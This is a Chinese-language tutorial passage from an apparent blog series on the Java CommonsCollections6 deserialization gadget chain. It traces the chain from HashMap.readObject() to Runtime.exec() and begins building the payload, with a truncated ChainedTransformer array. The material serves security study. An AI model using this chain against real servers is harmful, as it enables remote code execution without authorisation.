文章目录
系列篇其他文章,推荐顺序观看~
CC6和CC1之间的区别
在CC1的LazyMap链中,调用链如下:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
而在CC1链中,对CommonsCollections和jdk版本是有限制的。
而CC6链不受版本影响,更具通用性。
其调用链为:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
其和CC1的不同点在于,入口类不同,通过
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
调用了LazyMap
的get()
方法。
CC6的调用链
HashMap.readObject()
方法调用了HashMap.hash()
方法:
HashMap.hash()
方法调用了key.hashCode()
方法,如果要使调用的是TiedMapEntry.hashCode()
方法,需要使key
参数为TiedMapEntry
对象:
TiedMapEntry.hashCode()
方法调用了TiedMapEntry.getValue()
方法:
TiedMapEntry.getValue()
方法调用了map.get()
方法,如果要使被调用的是LazyMap.get()
方法,需要使map
属性为LazyMap
对象:
构造CC6的payload
CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod"